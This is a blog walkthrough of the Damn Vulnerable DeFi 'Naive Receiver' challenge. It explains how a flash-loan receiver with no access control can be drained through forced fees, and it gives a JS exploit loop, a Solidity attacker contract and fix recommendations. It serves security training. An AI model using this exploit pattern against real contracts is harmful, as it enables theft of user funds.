Damn Vulnerable DeFI 2022 Walkthrough — Challenge 2 Solution “Naive Receiver”
Tags: ethereum, solidity, blockchain, hacking
Published: 2022-12-02 11:09:02

## Master Smart Contract Hacking
Become a smart contract hacker 😎 → https://bit.ly/become-smh

## Damn Vulnerable DEFI 2 - Naive Receiver
Welcome to the second Damn Vulnerable DeFI challenge walkthrough!

In today’s article, I will show you how to hack the naive receiver smart contract step by step.

The Damn Vulnerable DeFi teaches offensive security techniques for DeFi smart contracts. You will develop your skills as a bug hunter or security auditor through numerous challenges.

I would like to thank [@tinchoabbate](https://twitter.com/tinchoabbate) for creating the awesome [Damn Vulnerable DEFI challenges](https://www.damnvulnerabledefi.xyz/).

Here is a video showing how to solve the challenge of the “Naive Receiver”:
{% embed https://youtu.be/-giCZpv9Da0 %}


## “Naive Receiver” (Challenge 2)
Our next challenge involves lending pools and flash loans, this time we need to attack the users who request the loan. Here are the instructions:

> There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
> You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.
> Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)

[Naive Receiver contracts](https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v2.2.0/contracts/naive-receiver)

## Attacker’s Goal

Ultimately, our goal is to drain all the funds from the user’s contract. In this case, draining is not necessarily stealing those funds; it could simply be transferring funds from the contract without the consent of the user.

## The “FlashLoanReceiver” Contract
Users interact with the lending pool that offers flash loans through this contract. When a user requests a flash loan, the lending pool calls the callback function `receiveEther`.

The `receiveEther` function has a single parameter called fee specifies how much the user must repay the lending pool for a flash loan. There are some security/validation checks in the function:

- Both the loan and its fee are repaid from the contract’s balance.

- The msg.sender is indeed the lending pool address where the callback is expected to be made

- When checking that it will execute the internal logic that will benefit from the flash loan by calling `_executeActionDuringFlashLoan` and repaying the loan by sending back the borrowed amount plus a fee
The “`NaiveReceiverLenderPool`” Contract
In this contract, flash loans are provided at a fixed fee of 1 ETH. 

Here are the parameters for the flashLoan function:

1. **borrower** — address that will receive the borrow

2. **borrowAmount** — the amount of ether that will be sent to the borrower contract

<u>The functionality is as followers:</u>

- Ensure that the contract balance exceeds the requested loan amount
- The borrower is not an EOA, but rather a contract. It is needed since the lending pool will call a specific callback that must be implemented by the contract in order to send the borrowed amount.
- With the fee amount as the parameter, call receiveEther on the borrower.
- The contract checks that the newly updated balance of the contract is equal to or greater than the balance before the flash loan plus the 1 ETH fee after the flash loan is completed.

## The Vulnerabilities

In the FlashLoanReceiver contract implementation, the following vulnerabilities were found:

- `receiveEther()` lacks proper access control, so anyone can make a flash loan on behalf of the receiver.
- Every time anyone calls the `receiveEther()` function, it gives away 1 ETH to the pool without verifying that the contract received ETH.

## The attack

### Option 1
Call the `flashLoan()` function 10 times on `NaiveReceiverLenderPool`, passing 0 as `borrowAmount` and the address of the `FlashLoanReceiver` contract as borrower. FlashLoanReceiver’s `receiveEther()` function will drain the 10 ETH from the contract and send them to the pool.

<u>Here it the code:</u>

```
it('Exploit', async function ()

  for(var i = 0; i < 10; i++){
    await this.pool.connect(attacker).flashLoan(this.receiver.address, 0);
  }
  
});{ 
```


And the results:
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ozoze4kw5wdzuhbimfl0.png)

### Option 2
The second option involves writing a contract (I called it `NaiveReceiverAttacker`) that calls the `flashLoan()` function and attacks in a similar manner to option 1 (invoking it 10 times).

The `attack()` function of our attacker contract is executed only once, and this function calls `NaiveReceiverLenderPool` 10 times for us, achieving the same result as we did with option 1.

Attacker’s contract code (`NaiveReceiverAttack.sol`):

```
// SPDX-License-Identifier: MI
pragma solidity ^0.8.0;

interface IPool {
    function flashLoan(address borrower, uint256 borrowAmount) external;
}

contract NaiveReceiverAttacker {
    IPool pool;

    constructor(address payable _poolAddress) public {
        pool = IPool(_poolAddress);
    }

    function attack(address victim) external {
        for(uint i; i < 10; i++){
            pool.flashLoan(victim, 0);
        }
    }
}
```

<u>JS file:</u>

```
it('Exploit', async function ()

  const AttackerFactory = await ethers.getContractFactory('NaiveReceiverAttacker', attacker);
        this.attackerContract = await AttackerFactory.deploy(this.pool.address);
        await this.attackerContract.attack(this.receiver.address);
  
});{ 
```

And the result:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/89202t4n102y3tkli6tn.png)

😎 🤯

## Security Recommendations

1. Calculate the difference between ETH received and ETH transferred. A require() statement should be written to ensure that the amount of ETH received via the flash loan is greater than a logical amount, such as 1 ETH for the fixed fee.

2. Access control should be implemented. To ensure that only the owner can call receiveEther() on behalf of the FlashLoanReceiver contract, declare a contract owner and place a require() statement inside the function.
Congratulation guys, you completed the second Damn Vulnerable DEFI challenge!

## About GingerSec
Ex black-hat hackers at your service — all worked for state intelligence agencies in the past (ask us about it!) 🕵️
[Get your FREE consultation](https://gingersec.xyz/)

## Next:

Damn Vulnerable DeFI Challenge 3 (“Truster”) Solution
[Master Smart Contract Hacking & Auditing](https://smartcontractshacking.com/)

Until next time,

JohnnyTime @ GingerSec.